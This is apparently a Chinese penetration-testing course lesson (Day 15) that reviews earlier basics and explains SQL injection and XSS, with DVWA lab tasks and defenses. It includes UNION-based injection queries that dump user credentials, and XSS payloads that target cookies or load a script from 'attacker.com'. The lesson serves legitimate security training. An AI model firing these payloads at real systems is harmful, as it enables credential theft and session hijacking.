第6章 基础复习与漏洞原理入门(第15--17天)
6.1 周末复盘与SQL/XSS原理(第15天)
核心目标
-
系统性复盘:回顾第1-14天的核心知识点,形成结构化知识网络,查漏补缺。
-
掌握SQL注入原理:深入理解SQL注入漏洞的产生机制、分类、危害、利用手法及核心防御思想。
-
掌握XSS原理:深入理解跨站脚本攻击的产生机制、三种类型(反射型、存储型、DOM型)的区别、利用场景及核心防御思想。
模块一:周末复盘 - 构建知识体系
1.1 阶段一:基础与环境搭建(第1-8天)
-
核心收获:
-
法律与流程:渗透测试必须在授权下进行,遵循PTES等标准流程。
-
Linux核心 :文件操作(
cat,grep,find,awk,sed)、权限管理(chmod,sudo)、进程管理(ps,netstat)、Shell脚本。 -
Windows核心 :CMD命令(
net user,systeminfo)、权限体系、注册表。 -
网络基础:TCP/IP模型、HTTP/HTTPS协议、Wireshark抓包分析。
-
工具入门:Burp Suite代理、拦截、重放的基本使用。
-
-
关键联系:Linux/Windows是攻击的起点和终点;网络协议是通信的桥梁;Burp Suite是Web测试的武器。
1.2 阶段二:信息收集与侦察(第9-14天)
-
核心收获:
-
主动侦察:Nmap端口扫描、子域名枚举、目录/文件爆破、服务/版本识别。
-
被动侦察:Shodan/Censys网络空间搜索引擎、Maltego关联分析。
-
指纹识别 :
whatweb、Wappalyzer识别Web技术栈。 -
自动化:使用Shell脚本将工具链串联,实现批量信息收集。
-
-
关键联系:信息收集的广度和深度直接决定后续攻击的成功率。自动化是提升效率的关键。
1.3 知识图谱构建
-
请绘制一张思维导图,将以下核心概念连接起来:
-
中心:渗透测试流程(PTES七阶段)。
-
分支1 :信息收集(工具:
nmap,gobuster,shodan)。 -
分支2:漏洞分析(原理:SQLi, XSS;工具:Burp Suite)。
-
分支3:权限提升(Linux: SUID, sudo;Windows: 用户管理)。
-
基础:Linux命令、Windows命令、网络协议、Shell脚本。
-
模块二:SQL注入漏洞原理深度解析
2.1 漏洞产生根源
-
核心原因 :程序将用户输入的数据 ,未经充分过滤或转义,直接拼接到SQL查询语句中执行,导致攻击者可以改变原有查询逻辑。
-
简单示例:
// 危险代码:用户输入直接拼接 $id = $_GET['id']; // 用户输入:1' OR '1'='1 $sql = "SELECT * FROM users WHERE id = '$id'"; // 最终查询语句:SELECT * FROM users WHERE id = '1' OR '1'='1' // 条件永真,返回所有用户信息
2.2 SQL注入分类
-
按注入点类型:
-
数字型 :
id=1->id=1 AND 1=2 -
字符型 :
id='admin'->id='admin' OR '1'='1
-
-
按数据返回方式:
-
联合查询注入 :利用
UNION拼接查询,直接回显数据。 -
报错注入 :利用数据库报错信息回显数据(如
updatexml,extractvalue)。 -
布尔盲注:通过页面返回的真/假状态(如内容存在/不存在)逐位推测数据。
-
时间盲注 :通过执行延时函数(如
sleep())判断条件真假。
-
-
按执行效果:
-
查询数据 :
SELECT。 -
修改数据 :
INSERT,UPDATE,DELETE。 -
数据库操作 :
DROP TABLE,CREATE USER等。
2.3 利用思路与Payload构造
-
探测注入点 :提交单引号
'、注释符--、/*,观察页面回显或报错。 -
判断列数 :
ORDER BY 5直到报错。 -
联合查询 :
UNION SELECT 1,2,3,@@version确定显示位。 -
获取信息:
UNION SELECT 1, schema_name, 3 FROM information_schema.schemata -- 查数据库名 UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='dvwa' -- 查表名 UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users' -- 查列名 UNION SELECT 1, concat(user, ':', password), 3 FROM dvwa.users -- 查数据
2.4 危害与防御
-
危害:数据库信息泄露、篡改、删除,甚至获取服务器权限。
-
防御核心:
-
使用预编译语句(参数化查询):分离代码与数据。
-
输入过滤与转义 :对特殊字符进行转义(如
'->\')。 -
最小权限原则:数据库连接账户使用最低必要权限。
-
Web应用防火墙。
模块三:跨站脚本攻击原理深度解析
3.1 漏洞产生根源
-
核心原因 :程序将用户输入的数据 ,未经充分过滤或转义,直接输出到HTML页面中,浏览器将其误认为是脚本代码执行。
-
简单示例:
<!-- 危险代码:用户输入直接输出 --> <div>您的搜索:<?php echo $_GET['keyword']; ?></div> <!-- 用户输入:<script>alert('XSS')</script> --> <!-- 最终输出:<div>您的搜索:<script>alert('XSS')</script></div> -->
3.2 XSS三种类型
-
反射型XSS:
-
特点 :Payload"反射"回浏览器执行,通常需要诱骗用户点击恶意链接。一次性的。
-
利用场景:搜索框、错误消息页。
-
-
存储型XSS:
-
特点 :Payload存储在服务器(数据库、文件),当其他用户访问相关页面时自动执行。持久性的。
-
利用场景:留言板、用户昵称、论坛发帖。
-
-
DOM型XSS:
-
特点:漏洞位于前端JavaScript代码中,Payload不发送到服务器,在客户端被解析执行。
-
关键函数 :
document.write,innerHTML,eval,location.hash等。
3.3 利用思路与Payload构造
-
探测XSS :提交
<script>alert(1)</script>、<img src=x onerror=alert(1)>等,观察是否弹窗。 -
常见Payload:
<script>alert(document.cookie)</script> <!-- 窃取Cookie --> <img src=x οnerrοr="s=createElement('script');s.src='http://attacker.com/steal.js';body.appendChild(s);"> <!-- 加载远程脚本 --> -
利用框架:BeEF,用于控制被攻击者浏览器。
3.4 危害与防御
-
危害:窃取用户Cookie、会话劫持、钓鱼、键盘记录、传播恶意软件。
-
防御核心:
-
输出编码/转义:根据输出上下文(HTML、JavaScript、CSS、URL)进行相应编码。
-
内容安全策略 :设置
Content-Security-Policy头,限制脚本加载源。 -
输入过滤 :对
<,>,&,",'等危险字符进行过滤或转义。 -
使用安全的API :避免使用
innerHTML,使用textContent。
模块四:当日达标实战任务
4.1 复盘与自查
-
绘制知识图谱:完成模块1.3中的思维导图绘制,确保每个知识点之间有清晰的逻辑关联。
-
命令盲测:在不查看笔记的情况下,尝试写出完成以下任务的命令:
-
查找
/etc目录下所有.conf文件。 -
实时监控
/var/log/auth.log中"Failed password"的日志行。 -
使用
nmap扫描192.168.1.0/24网段存活主机,并识别80端口服务版本。
4.2 SQL注入原理验证
-
搭建测试环境 :在DVWA中,将安全级别设为
Low,进入SQL Injection模块。 -
手工注入练习:
-
输入
1,观察正常回显。 -
输入
1',观察报错信息,理解漏洞存在。 -
输入
1' OR '1'='1,验证注入成功,返回所有用户。 -
尝试使用
UNION SELECT查询数据库版本和当前用户。
4.3 XSS原理验证
-
反射型XSS :在DVWA的
XSS (Reflected)模块,输入<script>alert('XSS')</script>,观察弹窗。 -
存储型XSS :在DVWA的
XSS (Stored)模块,在留言板输入XSS Payload,提交后刷新页面或新开页面,观察弹窗。 -
分析区别:对比两种XSS,理解"反射"与"存储"的含义。
模块五:常见问题与解决方案
5.1 原理理解难点
-
SQL注入中,为什么
'和--是测试关键 :'用于闭合字符串,--用于注释掉后续SQL代码,这两者能最直接地改变SQL语句结构。 -
DOM型XSS和反射型XSS易混淆:关键看Payload是否经过服务器。反射型XSS的Payload在请求参数中,服务器会将其返回;DOM型XSS的Payload在前端JS中处理,可能不会发送到服务器。
5.2 实践误区
-
只关注自动化工具 :
sqlmap等工具虽然强大,但必须理解手工注入原理,才能应对WAF、过滤等情况。 -
XSS测试只会用
alert(1):这只是最基本的探测。真实利用需要构造窃取Cookie、钓鱼等复杂Payload,并理解同源策略、CORS等限制。
明日预告 :第16天将学习Linux文本处理进阶 ,深入掌握awk和sed这两个强大的流式文本编辑器,用于高效地处理扫描结果、日志分析和数据格式化,这是专业渗透测试工程师的必备技能。